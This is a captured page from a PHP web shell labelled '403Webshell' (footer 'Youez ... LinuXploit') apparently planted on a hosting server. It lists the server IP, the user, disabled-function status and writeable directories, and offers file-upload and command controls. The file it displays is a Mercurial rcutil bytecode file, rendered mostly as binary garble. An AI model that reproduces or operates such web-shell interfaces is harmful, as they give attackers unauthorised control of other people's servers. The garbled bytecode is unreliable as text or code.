403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/lib/python3/dist-packages/mercurial/configuration/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/lib/python3/dist-packages/mercurial/configuration/__pycache__/rcutil.cpython-313.pyc
�

6�hg���SSKJr SSKrSSKJrJrJr SSKJr	J
r
JrJrJ
rJrJr SSKJr \R&(aSSKJr OSSKJr \R.r\R0r\R2r\	R4r\	R6r\	R8r\	R:rSS	jrSSS
jjrSSjr SSSjjr!SS
jr"SSjr#SSjr$SSjr%SSjr&g)�)�annotationsN)�Dict�List�Optional�)�
configuration�encoding�	localrepo�pycompat�requirements�util�vfs)�resourceutil)�
scmwindows)�scmposixc�^^�[R"U5m[RR	T5(aD[RR
m[
UU4Sj[R"T555$T/$)z@path could be a file or a directory. return a list of file pathsc3�j># �UH(upURS5(dMT"TU5v� M* g7f)�.rcN)�endswith)�.0�f�k�join�ps   ���@/usr/lib/python3/dist-packages/mercurial/configuration/rcutil.py�	<genexpr>� _expandrcpath.<locals>.<genexpr>2s+����
�#2�4�1�a�j�j��6H�J�D��A�J�J�?�s�3�3)r
�
expandpath�os�path�isdirr�sorted�listdir)r rrs @@r�
_expandrcpathr$-s\��������A�	�w�w�}�}�Q����w�w�|�|���
�#'�<�<��?�
�
�	
�
�3�J�c��Uc[Rn/SQn/nUH&up4nX0;aM
URXEXSU-45 M( U$)z�Return [(section, name, value, source)] config items.

The config items are extracted from environment variables specified by env,
used to override systemrc, but not userrc.

If env is not provided, encoding.environ will be used.
))sEDITOR�ui�editor)sVISUALr'r()sPAGER�pagerr)s$%s)r	�environ�append)�env�	checklist�result�envname�section�
confignames      r�
envrcitemsr28s[���{������I�
�F�(1�$��*�����
�
�w�C�L�&�7�:J�K�L�)2��Mr%c���[R"S5n[U5Vs/sH=n[R"SU5(dM!UR	S5(dM9SU4PM? sn$s snf)z#return rc resource IDs in defaultrcsmercurial.defaultrcr)r�contentsr"�is_resourcer)�rsrcs�rs  r�default_rc_resourcesr8Osj���!�!�"8�9�E������A��#�#�$:�A�>�	$�
�J�J�v��	$�	��#�����s� A+�A+� A+c��[RS[54n/nURnS[R
;a|U(auU"U5 [R
SR
[R5H7nU(dM[U5HnU"[RSU45 M M9 U$[5HnU"[RSU45 M [5H9nU"[RS[RR!U545 M; U"U5 [#5H9nU"[R$S[RR!U545 M; U$)a`return an ordered [(type, obj)] about where to load configs.

respect $HGRCPATH. if $HGRCPATH is empty, only .hg/hgrc of current repo is
used. if $HGRCPATH is not set, the platform default will be used. If
`use_hgrcpath` is False, it is never used.

if a directory is provided, *.rc files under it will be used.

type could be either 'path', 'items' or 'resource'. If type is 'path',
obj is a string, and is the config file path. if type is 'items', obj is a
list of (section, name, value, source) that should fill the config directly.
If type is 'resource', obj is a tuple of (package name, resource name).
sitemssHGRCPATH�pathsresource)�conf_mod�LEVEL_ENV_OVERWRITEr2r+r	r*�splitr�	ospathsepr$r8�LEVEL_BUNDLED_RESOURCE�systemrcpath�LEVEL_GLOBALrr �normpath�
userrcpath�
LEVEL_USER)�use_hgrcpath�envrc�
_rccomponents�comprr7s      r�rccomponentsrIZs-���
)�
)�8�Z�\�B�E��M����D��h�&�&�&�<�	
�U���!�!�+�.�4�4�X�5G�5G�H�A���"�1�%���h�2�2�G�Q�?�@�&�I���&�'�A��(�1�1�;��B�C�(���A��(�'�'��"�'�'�2B�2B�1�2E�F�G� ��U����A��(�%�%�w����0@�0@��0C�D�E���r%c� �[[RRUSS5S5n[	UR5R
55n[RU;a[RU;d/sSSS5 $[R"[RRUS55n[R"X25nURS5/sSSS5 $!,(df   /$=f![a /$f=f)z�if the current repository is shared one, this tries to read
.hg/hgrc of shared source if we are in share-safe mode

This should be called before reading .hg/hgrc or the main repo
as that overrides config set in shared source�.hgsrequires�rbN�hgrc)�openrr r�set�read�
splitlines�requirementsmod�SHARESAFE_REQUIREMENT�SHARED_REQUIREMENTrr
�
_getsharedvfs�OSError)r �fpr�hgvfs�	sharedvfss     r�_shared_source_componentrZ�s���
�
�"�'�'�,�,�t�V�[�9�4�
@�B��r�w�w�y�3�3�5�6�L��5�5��E�#�6�6�,�F��
A�
@��G�G�B�G�G�L�L��v�6�7�E�!�/�/��D�I��N�N�7�+�,�A�
@�
@��I���
��
�I�
�s<�+C?�AC-�>	C?�AC-�#	C?�-
C<�7C?�<C?�?
D
�D
c	�X�/nURn[U5HnU"[RSU45 M U"[RS[
RRUSS545 U"[RS[
RRUSS545 U$)z7return the list of config file to read for a repositoryr:rKrMshgrc-not-shared)	r+rZr;�LEVEL_SHARED�LEVEL_LOCALrr r�LEVEL_NON_SHARED)�	repo_path�
componentsrHrs    r�repo_componentsra�s����J����D�
%�i�
0���h�#�#�W�a�
0�1�1��� � ���G�G�L�L��F�G�4�	
��	��%�%���G�G�L�L��F�,>�?�	
���r%c�t�/nUR[SS95 UbUR[U55 U$)NF)rE)�extendrIra)r_r`s  r�all_rc_componentsrd�s9���J����l��6�7������/�)�4�5��r%c��SSS.$)zmreturn a dict of default environment variables and their values,
intended to be set before starting a pager.
sFRXs-c)sLESSsLV�rfr%r�defaultpagerenvrg�s���E�*�*r%c�(�S[R;$)z5True if repositories `.hg/hgrc` config should be readsHGRCSKIPREPO)r	r*rfr%r�
use_repo_hgrcri�s���(�"2�"2�2�2r%)r �bytes�returnz
List[FileRCT])N)r,zOptional[Dict[bytes, bytes]]rkzList[ConfigItemT])rkzList[ResourceIDT])T)rk�List[ComponentT])r_rjrkrl)r_zOptional[bytes])rkzDict[bytes, bytes])rk�bool)'�
__future__rr�typingrrr�rr;r	r
rrrRr
r�utilsr�	iswindowsr�scmplatformr�
fallbackpagerr@rC�
ComponentT�ConfigItemT�FileRCT�ResourceIDTr$r2r8rIrZrardrgrirfr%r�<module>rys���#�	������!����,�*��)�)�
��'�'��
�
#�
#�
�
�
 �
 �
��"�"��
�
�
���"�"����.�%�P�,�.�+�3r%

Youez - 2016 - github.com/yon3zu
LinuXploit